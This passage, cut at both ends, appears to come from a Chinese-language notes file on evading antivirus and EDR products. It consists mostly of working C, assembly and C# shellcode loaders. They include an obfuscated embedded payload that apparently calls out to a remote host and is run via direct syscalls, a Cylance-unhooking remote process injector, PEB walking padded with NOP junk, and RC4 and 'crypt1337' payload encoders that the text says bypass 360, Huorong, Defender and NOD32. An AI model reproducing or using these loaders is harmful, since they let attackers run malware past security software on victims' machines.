(DWORD64)ThreadFuncAddr; 798 | pContext->Rcx = (DWORD64)FuncArgAddr; 799 | // nop 800 | pContext->Rax = (DWORD64)NULL; 801 | pContext->Rbx = (DWORD64)NULL; 802 | pContext->Rdx = (DWORD64)NULL; 803 | pContext->Rsi = (DWORD64)NULL; 804 | pContext->Rdi = (DWORD64)NULL; 805 | pContext->R8 = (DWORD64)NULL; 806 | pContext->R9 = (DWORD64)NULL; 807 | 808 | // set context flags 809 | pContext->ContextFlags = CONTEXT_FULL; 810 | 811 | // unknow 812 | pContext->EFlags = 0x3000;/* IOPL 3 */ 813 | 814 | // set seg registers 815 | pContext->SegGs = KGDT64_R3_DATA | RPL_MASK; 816 | pContext->SegEs = KGDT64_R3_DATA | RPL_MASK; 817 | pContext->SegDs = KGDT64_R3_DATA | RPL_MASK; 818 | pContext->SegCs = KGDT64_R3_CODE | RPL_MASK; 819 | pContext->SegSs = KGDT64_R3_DATA | RPL_MASK; 820 | pContext->SegFs = KGDT64_R3_CMTEB | RPL_MASK; 821 | 822 | return STATUS_SUCCESS; 823 | } 824 | 825 | 826 | BOOL IsElevated() { 827 | BOOL fRet = FALSE; 828 | HANDLE hToken = NULL; 829 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { 830 | TOKEN_ELEVATION Elevation = { 0 }; 831 | DWORD cbSize = sizeof(TOKEN_ELEVATION); 832 | if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { 833 | fRet = Elevation.TokenIsElevated; 834 | } 835 | } 836 | if (hToken) { 837 | CloseHandle(hToken); 838 | } 839 | return fRet; 840 | } 841 | 842 | BOOL SetDebugPrivilege() { 843 | HANDLE hToken = NULL; 844 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 845 | 846 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { 847 | return FALSE; 848 | } 849 | 850 | TokenPrivileges.PrivilegeCount = 1; 851 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; 852 | 853 | LPWSTR lpwPriv = L"SeDebugPrivilege"; 854 | if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { 855 | CloseHandle(hToken); 856 | return FALSE; 857 | } 858 | 859 | if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { 860 | CloseHandle(hToken); 861 | return FALSE; 862 | } 863 | 864 | CloseHandle(hToken); 865 | return TRUE; 866 | } 867 | 868 | 869 | int wmain(int argc, wchar_t* argv[]) { 870 | 871 | // 仅支持64位系统 872 | if (sizeof(LPVOID) != 8) { 873 | exit(1); 874 | } 875 | //判断是否为管理员权限 876 | if (!IsElevated()) { 877 | exit(1); 878 | } 879 | 880 | SetDebugPrivilege(); 881 | 882 | PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO)); 883 | 884 | // 获取版本信息 885 | OSVERSIONINFOEXW osInfo; 886 | LPWSTR lpOSVersion; 887 | osInfo.dwOSVersionInfoSize = sizeof(osInfo); 888 | 889 | _RtlGetVersion RtlGetVersion = (_RtlGetVersion) 890 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); 891 | if (RtlGetVersion == NULL) { 892 | return FALSE; 893 | } 894 | 895 | wprintf(L"[1] Checking OS version details:\n"); 896 | RtlGetVersion(&osInfo); 897 | swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); 898 | pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber; 899 | 900 | if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { 901 | lpOSVersion = L"10 or Server 2016"; 902 | wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); 903 | wprintf(L" [+] Mapping version specific System calls.\n"); 904 | NtAllocateVirtualMemory = &NtAllocateVirtualMemory10; 905 | ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; 906 | NtCreateThread = &NtCreateThread10; 907 | pWinVerInfo->SystemCall = 0x3F; 908 | } 909 | else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) { 910 | lpOSVersion = L"7 SP1 or Server 2008 R2"; 911 | wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); 912 | wprintf(L" [+] Mapping version specific System calls.\n"); 913 | NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1; 914 | ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; 915 | NtCreateThread = &NtCreateThread7SP1; 916 | pWinVerInfo->SystemCall = 0x3C; 917 | } 918 | else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { 919 | lpOSVersion = L"8 or Server 2012"; 920 | wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); 921 | exit(1); 922 | wprintf(L" [+] Mapping version specific System calls.\n"); 923 | pWinVerInfo->SystemCall = 0x3D; 924 | } 925 | else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { 926 | lpOSVersion = L"8.1 or Server 2012 R2"; 927 | wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); 928 | wprintf(L" [+] Mapping version specific System calls.\n"); 929 | NtAllocateVirtualMemory = &NtAllocateVirtualMemory81; 930 | ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; 931 | NtCreateThread = &NtCreateThread81; 932 | pWinVerInfo->SystemCall = 0x3E; 933 | } 934 | else { 935 | wprintf(L" [!] OS Version not supported.\n\n"); 936 | exit(1); 937 | } 938 | 939 | /* 940 | Shellcode 每三个字节替换成\x00 进行加密 941 | */ 942 | unsigned char data[] = "\x00\xe8\x89\x00\x00\x00\x00\x89\xe5\x00\xd2\x64\x00\x52\x30\x00\x52\x0c\x00\x52\x14\x00\x72\x28\x00\xb7\x4a\x00\x31\xff\x00\xc0\xac\x00\x61\x7c\x00\x2c\x20\x00\xcf\x0d\x00\xc7\xe2\x00\x52\x57\x00\x52\x10\x00\x42\x3c\x00\xd0\x8b\x00\x78\x85\x00\x74\x4a\x00\xd0\x50\x00\x48\x18\x00\x58\x20\x00\xd3\xe3\x00\x49\x8b\x00\x8b\x01\x00\x31\xff\x00\xc0\xac\x00\xcf\x0d\x00\xc7\x38\x00\x75\xf4\x00\x7d\xf8\x00\x7d\x24\x00\xe2\x58\x00\x58\x24\x00\xd3\x66\x00\x0c\x4b\x00\x58\x1c\x00\xd3\x8b\x00\x8b\x01\x00\x89\x44\x00\x24\x5b\x00\x61\x59\x00\x51\xff\x00\x58\x5f\x00\x8b\x12\x00\x86\x5d\x00\x6e\x65\x00\x00\x68\x00\x69\x6e\x00\x54\x68\x00\x77\x26\x00\xff\xd5\x00\x00\x00\x00\x00\x31\x00\x57\x57\x00\x57\x57\x00\x3a\x56\x00\xa7\xff\x00\xe9\xa4\x00\x00\x00\x00\x31\xc9\x00\x51\x6a\x00\x51\x51\x00\xbb\x01\x00\x00\x53\x00\x68\x57\x00\x9f\xc6\x00\xd5\x50\x00\x8c\x00\x00\x00\x5b\x00\xd2\x52\x00\x00\x32\x00\x84\x52\x00\x52\x53\x00\x50\x68\x00\x55\x2e\x00\xff\xd5\x00\xc6\x83\x00\x50\x68\x00\x33\x00\x00\x89\xe0\x00\x04\x50\x00\x1f\x56\x00\x75\x46\x00\x86\xff\x00\x5f\x31\x00\x57\x57\x00\xff\x53\x00\x68\x2d\x00\x18\x7b\x00\xd5\x85\x00\x0f\x84\x00\x01\x00\x00\x31\xff\x00\xf6\x74\x00\x89\xf9\x00\x09\x68\x00\xc5\xe2\x00\xff\xd5\x00\xc1\x68\x00\x21\x5e\x00\xff\xd5\x00\xff\x57\x00\x07\x51\x00\x50\x68\x00\x57\xe0\x00\xff\xd5\x00\x00\x2f\x00\x00\x39\x00\x75\x07\x00\x50\xe9\x00\xff\xff\x00\x31\xff\x00\x91\x01\x00\x00\xe9\x00\x01\x00\x00\xe8\x6f\x00\xff\xff\x00\x77\x42\x00\x6d\x00\x00\x42\xc6\x00\x6f\xba\x00\x3d\xd8\x00\xfc\x47\x00\xbc\xdc\x00\xe5\xb9\x00\x57\x1e\x00\xe6\xd9\x00\x4f\x31\x00\x37\x66\x00\x69\xf2\x00\xae\xf8\x00\x5d\xde\x00\x53\x49\x00\x59\x04\x00\x49\x62\x00\x1d\x70\x00\xd4\xcb\x00\x66\x6d\x00\x06\x5b\x00\xe8\xc7\x00\xf2\xcf\x00\xa7\x75\x00\x9a\xb0\x00\x00\x55\x00\x65\x72\x00\x41\x67\x00\x6e\x74\x00\x20\x4d\x00\x7a\x69\x00\x6c\x61\x00\x34\x2e\x00\x20\x28\x00\x6f\x6d\x00\x61\x74\x00\x62\x6c\x00\x3b\x20\x00\x53\x49\x00\x20\x37\x00\x30\x3b\x00\x57\x69\x00\x64\x6f\x00\x73\x20\x00\x54\x20\x00\x2e\x31\x00\x20\x54\x00\x69\x64\x00\x6e\x74\x00\x34\x2e\x00\x29\x0d\x00\x00\x65\x00\x75\x9d\x00\x44\xb7\x00\xc6\x44\x00\xdc\xc8\x00\x94\xf1\x00\x08\x48\x00\xac\xac\x00\xf0\xfa\x00\xf4\x24\x00\x95\xec\x00\xbe\x97\x00\x01\x5e\x00\x85\x66\x00\xd3\x11\x00\xd8\xb5\x00\x4b\x87\x00\x84\x9f\x00\x50\x09\x00\x54\x1b\x00\xc0\x50\x00\x75\xd9\x00\xa2\x05\x00\x23\x9d\x00\x5b\x20\x00\xf3\x86\x00\x3b\x9f\x00\x07\x77\x00\xa0\x8a\x00\x5a\x87\x00\x64\xd1\x00\xcf\xe2\x00\xa1\x26\x00\xdb\x63\x00\xca\x11\x00\x48\x45\x00\x5c\x05\x00\x42\x1e\x00\x9a\x23\x00\xb0\xe7\x00\xfa\x35\x00\xf4\xe3\x00\x31\xe0\x00\xcd\x8f\x00\xf8\x14\x00\x0f\x89\x00\x03\xa2\x00\xce\x2b\x00\x5f\x57\x00\x32\xac\x00\x3e\xad\x00\xa8\xc8\x00\x66\x01\x00\x6c\xa9\x00\x36\xed\x00\xa2\x57\x00\x95\x06\x00\x9b\x07\x00\xc4\x02\x00\x44\xf0\x00\x9e\x36\x00\x6f\xdf\x00\x33\xce\x00\xa9\xce\x00\xce\x0a\x00\xf4\xb9\x00\x5c\xae\x00\x23\xce\x00\xac\x8f\x00\x09\x85\x00\x37\xb9\x00\x25\x6b\x00\x38\xe3\x00\xda\xd9\x00\x96\x1c\x00\x0c\x00\x00\xf0\xb5\x00\x56\xff\x00\x6a\x40\x00\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x00\xa4\x53\x00\xff\xd5\x00\xb9\x00\x00\x00\x00\x00\xd9\x51\x00\x89\xe7\x00\x68\x00\x00\x00\x00\x00\x56\x68\x00\x96\x89\x00\xff\xd5\x00\xc0\x74\x00\x8b\x07\x00\xc3\x85\x00\x75\xe5\x00\xc3\xe8\x00\xfd\xff\x00\x31\x30\x00\x2e\x31\x00\x2e\x31\x00\x36\x2e\x00\x37\x00\x00\x00\x00\x00"; 943 | char a1[] = "\xfc\x00\x60\x31\x8b\x8b\x8b\x8b\x0f\x26\x31\x3c\x02\xc1\x01\xf0\x8b\x8b\x01\x40\xc0\x01\x8b\x8b\x01\x3c\x34\xd6\x31\xc1\x01\xe0\x03\x3b\x75\x8b\x01\x8b\x8b\x01\x04\xd0\x24\x5b\x5a\xe0\x5a\xeb\x68\x74\x77\x69\x4c\x07\xe8\x00\xff\x57\x68\x79\xd5\x00\x5b\x51\x03\x68\x00\x50\x89\xff\xe9\x00\x31\x68\xc0\x52\x52\xeb\x3b\x89\xc3\x80\x00\x6a\x6a\x68\x9e\xd5\xff\x6a\x56\x06\xff\xc0\xca\x00\x85\x04\xeb\xaa\x5d\x89\x45\x31\x31\x6a\x56\xb7\x0b\xbf\x00\xc7\x58\x7b\xff\xe9\x00\xc9\x00\xff\x2f\x36\x8b\x20\xaf\xf5\xe9\xb6\xf5\x9b\x86\xbc\x09\x77\x40\x33\x2e\x1a\x31\x64\x02\xb6\x09\x07\xd3\x48\xa8\x73\x2d\x65\x3a\x6f\x6c\x2f\x30\x63\x70\x69\x65\x4d\x45\x2e\x20\x6e\x77\x4e\x35\x3b\x72\x65\x2f\x30\x0a\x1b\xb1\xb6\x11\xa7\x6e\x13\xc6\x3d\x5d\x24\x53\xc2\x36\x91\xfe\x53\x5a\x64\x3b\x31\x02\xf1\x0e\x22\x54\xa9\x33\x03\xa4\x27\x4e\xd9\x6b\xdc\x2f\x09\x3c\x3b\x8d\x26\x74\x43\x03\x83\x66\xc9\x1c\x0e\x9a\xef\x2b\x10\x15\xaf\x89\x8c\x1f\xcb\x51\x5c\xc1\x7a\xed\x94\x2b\x50\x72\x5c\x52\xc5\x97\x1b\xb3\x5c\x68\xa2\xd5\x68\x00\x00\x00\x58\xe5\x93\x00\x01\x53\x57\x20\x53\x12\xe2\x85\xc6\x01\xc0\x58\x89\xff\x33\x30\x39\x33\x00\x06"; 944 | 945 | SIZE_T Size = sizeof(data); 946 | for (int i = 0; i < sizeof(a1); i++) { 947 | memcpy(&data[i * 3], &a1[i], 1); 948 | } 949 | 950 | PVOID lpvAddr = NULL; 951 | NTSTATUS status; 952 | 953 | status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpvAddr, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 954 | RtlMoveMemory(lpvAddr, data, sizeof(data)); 955 | 956 | HANDLE ThreadHandle = NULL; 957 | CONTEXT NewThreadContext = { 0 }; 958 | INITIAL_TEB InitialTeb = { 0 }; 959 | OBJECT_ATTRIBUTES ObjAttr2 = { 0 }; 960 | CLIENT_ID ReturnTid = { 0 }; 961 | 962 | if (MyInitTeb(&InitialTeb) != 0) { 963 | return -1; 964 | } 965 | 966 | if (MyInitContext( 967 | &NewThreadContext, 968 | (PVOID)lpvAddr, 969 | NULL, 970 | InitialTeb.StackBase) != 0) 971 | { 972 | return -1; 973 | } 974 | InitializeObjectAttributes(&ObjAttr2, NULL, 0, NULL, NULL); 975 | status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpvAddr, &Size, PAGE_EXECUTE, &OldProtection); 976 | 977 | status = NtCreateThread( 978 | &ThreadHandle, 979 | THREAD_ALL_ACCESS, 980 | &ObjAttr2, 981 | GetCurrentProcess(), 982 | &ReturnTid, 983 | &NewThreadContext, 984 | &InitialTeb, 985 | FALSE); 986 | 987 | WaitForSingleObject(ThreadHandle, INFINITE); 988 | //ULONG OldProtection; 989 | //status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpvAddr, &Size, PAGE_EXECUTE, &OldProtection); 990 | 991 | //HANDLE s; 992 | //s = CreateThread(0, 0, lpvAddr, NULL, 0, 0); 993 | 994 | //WaitForSingleObject(s, INFINITE); 995 | return 0; 996 | } 997 | ``` 998 | 999 | ### Unhook EDR 1000 | 杀软会hook关键函数,可以修改函数的头部来脱钩 1001 | 另外 可以使用`系统直接调用`,绕过杀软对一些脱钩过程中使用的函数的hook 1002 | 1003 | https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/ 1004 | ![](https://i.loli.net/2021/01/18/KL4IJC3vYRsZQoz.jpg) 1005 | ![-w947](https://i.loli.net/2021/01/18/K9RPtFXeNL3UWyx.jpg) 1006 | ![-w548](https://i.loli.net/2021/01/18/Isw9zr6GDNKqBPe.jpg) 1007 | 1008 | ```c 1009 | //demo 1010 | #include 1011 | #include 1012 | unsigned char buf[] = 1013 | "SHELLCODE_GOES_HERE"; 1014 | struct syscall_table { 1015 | int osVersion; 1016 | }; 1017 | // Remove Cylance hook from DLL export 1018 | void removeCylanceHook(const char *dll, const char *apiName, char code) { 1019 | DWORD old, newOld; 1020 | void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName); 1021 | printf("[*] Updating memory protection of %s!%s\n", dll, apiName); 1022 | VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old); 1023 | printf("[*] Unhooking Cylance\n"); 1024 | memcpy(procAddress, "\x4c\x8b\xd1\xb8", 4); 1025 | *((char *)procAddress + 4) = code; 1026 | VirtualProtect(procAddress, 10, old, &newOld); 1027 | } 1028 | 1029 | int main(int argc, char **argv) 1030 | { 1031 | if (argc != 2) { 1032 | printf("Usage: %s PID\n", argv[0]); 1033 | return 2; 1034 | } 1035 | DWORD processID = atoi(argv[1]); 1036 | HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID); 1037 | if (proc == INVALID_HANDLE_VALUE) { 1038 | printf("[!] Error: Could not open target process: %d\n", processID); 1039 | return 1; 1040 | } 1041 | printf("[*] Opened target process %d\n", processID); 1042 | printf("[*] Allocating memory in target process with VirtualAllocEx\n"); 1043 | void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 1044 | if (alloc == (void*)0) { 1045 | printf("[!] Error: Could not allocate memory in target process\n"); 1046 | return 1; 1047 | } 1048 | printf("[*] Allocated %d bytes at memory address %p\n", sizeof(buf), alloc); 1049 | printf("[*] Attempting to write into victim process using WriteProcessMemory\n"); 1050 | if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) { 1051 | printf("[!] Error: Could not write to target process memory\n"); 1052 | return 1; 1053 | } 1054 | printf("[*] WriteProcessMemory successful\n"); 1055 | 1056 | // Remove the NTDLL.DLL hook added by userland DLL 1057 | removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB); 1058 | printf("[*] Attempting to spawn shellcode using CreateRemoteThread\n"); 1059 | HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL); 1060 | printf("[*] Success :D\n"); 1061 | } 1062 | ``` 1063 | 1064 | ### 动态调用 API 函数 1065 | ```c 1066 | void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory"); 1067 | ``` 1068 | 1069 | https://4hou.win/wordpress/?cat=612 1070 | 1071 | 通过动态调用 API 函数的方式来调用 virtualalloc 函数。具体的做法是, load kernel32.dll 库,使用汇编语言从 kernel32 库中取得 virtualalloc 函数在内存中的地址,然后执行。 1072 | 另外,假设Loadlibrary函数也被hook了(这也太硬核了),我们也可以从PEB中获取函数地址,下面代码demo为Load kernel32.dll, 再有甚者,对机器码做了模式匹配,我们可以在代码中加入一些nop指令或者一些正常功能的垃圾混淆代码。 1073 | ```c 1074 | //HMODULE hModule =LoadLibrary(_T("Kernel32.dll")); 1075 | HMODULE hModule = NULL; 1076 | 1077 | //LoadLibrary 记得从中加入一些nop指令(空指令雪橇) 1078 | //空指令雪橇原理: 针对机器码匹配的话基本是进行模式匹配的 1079 | __asm { 1080 | 1081 | mov esi, fs: [0x30]//得到PEB地址 1082 | nop 1083 | nop 1084 | mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址 1085 | mov esi, [esi + 0x1c]//一个双向链表的地址 1086 | mov esi, [esi]//得到第二个条目kernelBase的链表 1087 | mov esi, [esi]//得到第三个条目kernel32链表(win10) 1088 | mov esi, [esi + 0x8] //kernel32.dll地址 1089 | mov hModule, esi 1090 | } 1091 | 1092 | HANDLE shellcode_handler; 1093 | FARPROC Address = GetProcAddress(hModule,"VirtualAlloc");//拿到virtualalloc的地址 1094 | _asm 1095 | { 1096 | push 40h //push传参 1097 | push 1000h 1098 | push 29Ah 1099 | push 0 1100 | call Address //函数调用 1101 | mov shellcode_handler, eax 1102 | } 1103 | memcpy(shellcode_handler, newshellcode,sizeof newshellcode); 1104 | ((void(*)())shellcode_handler)(); 1105 | ``` 1106 | 1107 | ### 垃圾混淆代码---nop nop空指令雪橇 1108 | 1109 | ```c 1110 | _asm { 1111 | mov esi, fs:[0x30]//得到PEB地址 1112 | NOP 1113 | NOP 1114 | NOP 1115 | NOP 1116 | NOP 1117 | mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址 1118 | NOP 1119 | NOP 1120 | NOP 1121 | NOP 1122 | mov esi, [esi + 0x1c]//一个双向链表的地址 1123 | NOP 1124 | NOP 1125 | NOP 1126 | NOP 1127 | mov esi, [esi]//得到第二个条目kernelBase的链表 1128 | NOP 1129 | NOP 1130 | NOP 1131 | mov esi, [esi]//得到第三个条目kernel32链表(win10) 1132 | NOP 1133 | NOP 1134 | mov esi, [esi + 0x8] //kernel32.dll地址 1135 | NOP 1136 | NOP 1137 | mov hModule, esi 1138 | } 1139 | ``` 1140 | ### 父进程欺骗 1141 | 1142 | ### Windows 10进程镂空技术 1143 | https://4hou.win/wordpress/?p=20680 1144 | 1145 | ### Process Doppelgänging 1146 | https://www.4hou.com/technology/9379.html 1147 | https://juejin.im/entry/5be26746e51d456a09717c9a 1148 | 1149 | ## Encrypt 1150 | 1151 | ### AES 1152 | //encrypt 1153 | ```c# 1154 | using System; 1155 | using System.Collections.Generic; 1156 | using System.IO; 1157 | using System.Linq; 1158 | using System.Security.Cryptography; 1159 | using System.Text; 1160 | 1161 | public static class Encrypt{ 1162 | static byte[] KEY = null; 1163 | static byte[] IV = null; 1164 | static byte[] payload = null; 1165 | 1166 | private static byte[] EncryptBytes(IEnumerable bytes){ 1167 | //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance 1168 | using (var r = Rijndael.Create()){ 1169 | using (var encryptor = r.CreateEncryptor(KEY, IV)){ 1170 | return Transform(bytes, encryptor); 1171 | } 1172 | } 1173 | } 1174 | private static byte[] DecryptBytes(IEnumerable bytes) 1175 | { 1176 | //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance 1177 | using (var r = Rijndael.Create()) 1178 | { 1179 | using (var decryptor = r.CreateDecryptor(KEY, IV)) 1180 | { 1181 | return Transform(bytes, decryptor); 1182 | } 1183 | } 1184 | } 1185 | private static byte[] Transform(IEnumerable bytes, ICryptoTransform transform){ 1186 | using (var stream = new MemoryStream()){ 1187 | using (var cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write)){ 1188 | foreach (var b in bytes) 1189 | cryptoStream.WriteByte(b); 1190 | } 1191 | 1192 | return stream.ToArray(); 1193 | } 1194 | } 1195 | public static class Encryption_Class 1196 | { 1197 | public static string Encrypt(string key, string data){ 1198 | Encoding unicode = Encoding.Unicode; 1199 | 1200 | return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data))); 1201 | } 1202 | 1203 | public static string Decrypt(string key, string data){ 1204 | Encoding unicode = Encoding.Unicode; 1205 | 1206 | return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data))); 1207 | } 1208 | 1209 | public static byte[] Encrypt(byte[] key, byte[] data){ 1210 | return EncryptOutput(key, data).ToArray(); 1211 | } 1212 | 1213 | public static byte[] Decrypt(byte[] key, byte[] data){ 1214 | return EncryptOutput(key, data).ToArray(); 1215 | } 1216 | 1217 | private static byte[] EncryptInitalize(byte[] key){ 1218 | byte[] s = Enumerable.Range(0, 256) 1219 | .Select(i => (byte)i) 1220 | .ToArray(); 1221 | for (int i = 0, j = 0; i < 256; i++){ 1222 | j = (j + key[i % key.Length] + s[i]) & 255; 1223 | 1224 | Swap(s, i, j); 1225 | } 1226 | return s; 1227 | } 1228 | 1229 | private static IEnumerable EncryptOutput(byte[] key, IEnumerable data) 1230 | { 1231 | byte[] s = EncryptInitalize(key); 1232 | int i = 0; 1233 | int j = 0; 1234 | return data.Select((b) =>{ 1235 | i = (i + 1) & 255; 1236 | j = (j + s[i]) & 255; 1237 | Swap(s, i, j); 1238 | return (byte)(b ^ s[(s[i] + s[j]) & 255]); 1239 | }); 1240 | } 1241 | private static void Swap(byte[] s, int i, int j){ 1242 | byte c = s[i]; 1243 | s[i] = s[j]; 1244 | s[j] = c; 1245 | } 1246 | } 1247 | } 1248 | ``` 1249 | //decrypt 1250 | ```c# 1251 | string Payload_Encrypted; 1252 | Payload_Encrypted = "240,222,148,160,253,139,204,128,168,11,132,74"; 1253 | string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(','); 1254 | byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length]; 1255 | for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++) 1256 | { 1257 | byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString()); 1258 | _X_to_Bytes[i] = current; 1259 | } 1260 | byte[] KEY = { 0x11, 0x22, 0x21, 0x00, 0x33, 0x01, 0xd0, 0x00, 0x00, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 }; 1261 | byte[] Finall_Payload = Decrypt(KEY, _X_to_Bytes); 1262 | 1263 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)Finall_Payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 1264 | Marshal.Copy(Finall_Payload, 0, (IntPtr)(funcAddr), Finall_Payload.Length); 1265 | IntPtr hThread = IntPtr.Zero; 1266 | UInt32 threadId = 0; 1267 | IntPtr pinfo = IntPtr.Zero; 1268 | uint lpflOldProtect = 0x01; 1269 | VirtualProtect((IntPtr)(funcAddr), (UInt32)Finall_Payload.Length, 0x10, lpflOldProtect); 1270 | /// execute native code 1271 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 1272 | WaitForSingleObject(hThread, 0xFFFFFFFF); 1273 | ``` 1274 | 1275 | ### shellcode 字节替换 1276 | #### xor 1277 | #### crypt1337 1278 | bypass 360 火绒 电脑管家 defender NOD32 1279 | ~~卡巴斯基~~ 1280 | ```c# 1281 | //encrypt 1282 | using System; 1283 | using System.Text; 1284 | 1285 | namespace cryprt1337encrypt 1286 | { 1287 | class Program 1288 | { 1289 | static void Main(string[] args) 1290 | { 1291 | byte[] buf = new byte[835] { xxxx }; 1292 | String s; 1293 | s = l337CryptPlusPlus(buf); 1294 | Console.WriteLine(s); 1295 | } 1296 | private static string l337CryptPlusPlus(byte[] buf) 1297 | { 1298 | StringBuilder lolbuf = new StringBuilder(); 1299 | lolbuf.Append("byte[] hahabuf = new byte["); 1300 | lolbuf.Append(buf.Length); 1301 | lolbuf.Append("]{ "); 1302 | 1303 | byte[] bufclone = (byte[])buf.Clone(); 1304 | for (int i = 0; i < buf.Length; i++) 1305 | { 1306 | for (int n = 0; n < i; n++) 1307 | { 1308 | bufclone[i]++; 1309 | } 1310 | lolbuf.Append("0x"); 1311 | lolbuf.AppendFormat("{0:x2}", bufclone[i]); 1312 | if (i < buf.Length - 1) 1313 | lolbuf.Append(", "); 1314 | } 1315 | lolbuf.Append(" };"); 1316 | return lolbuf.ToString(); 1317 | } 1318 | } 1319 | } 1320 | ``` 1321 | 1322 | ```c# 1323 | //decrypt 1324 | using System; 1325 | using System.Text; 1326 | using System.Runtime.InteropServices; 1327 | 1328 | private static byte[] l337deCryptPlusPlus(byte[] buf) 1329 | { 1330 | StringBuilder lolbuf = new StringBuilder(); 1331 | 1332 | byte[] bufclone = (byte[])buf.Clone(); 1333 | for (int i = 0; i < buf.Length; i++) 1334 | { 1335 | for (int n = 0; n < i; n++) 1336 | { 1337 | bufclone[i]--; 1338 | } 1339 | } 1340 | return bufclone; 1341 | } 1342 | ``` 1343 | 1344 | 完整版 1345 | ```C# 1346 | //加密shellcode 1347 | using System; 1348 | using System.Text; 1349 | 1350 | namespace cryprt1337encrypt 1351 | { 1352 | class Program 1353 | { 1354 | static void Main(string[] args) 1355 | { 1356 | byte[] buf = new byte[835] { xxxx }; 1357 | String s; 1358 | s = l337CryptPlusPlus(buf); 1359 | Console.WriteLine(s); 1360 | } 1361 | private static string l337CryptPlusPlus(byte[] buf) 1362 | { 1363 | StringBuilder lolbuf = new StringBuilder(); 1364 | lolbuf.Append("byte[] hahabuf = new byte["); 1365 | lolbuf.Append(buf.Length); 1366 | lolbuf.Append("]{ "); 1367 | 1368 | byte[] bufclone = (byte[])buf.Clone(); 1369 | for (int i = 0; i < buf.Length; i++) 1370 | { 1371 | for (int n = 0; n < i; n++) 1372 | { 1373 | bufclone[i]++; 1374 | } 1375 | lolbuf.Append("0x"); 1376 | lolbuf.AppendFormat("{0:x2}", bufclone[i]); 1377 | if (i < buf.Length - 1) 1378 | lolbuf.Append(", "); 1379 | } 1380 | lolbuf.Append(" };"); 1381 | return lolbuf.ToString(); 1382 | } 1383 | } 1384 | } 1385 | 1386 | // 输入加密的shellcode,编译exe 1387 | using System; 1388 | using System.Text; 1389 | using System.Runtime.InteropServices; 1390 | 1391 | 1392 | namespace crypt1337 1393 | { 1394 | class Program 1395 | { 1396 | const int SW_HIDE = 0; 1397 | const int SW_SHOW = 5; 1398 | private static UInt32 MEM_COMMIT = 0x1000; 1399 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 1400 | static void Main(string[] args) 1401 | { 1402 | byte[] haha = new byte[835] { encrypt_shellcode }; 1403 | byte[] heihei = l337deCryptPlusPlus(haha); 1404 | 1405 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)heihei.Length, MEM_COMMIT, 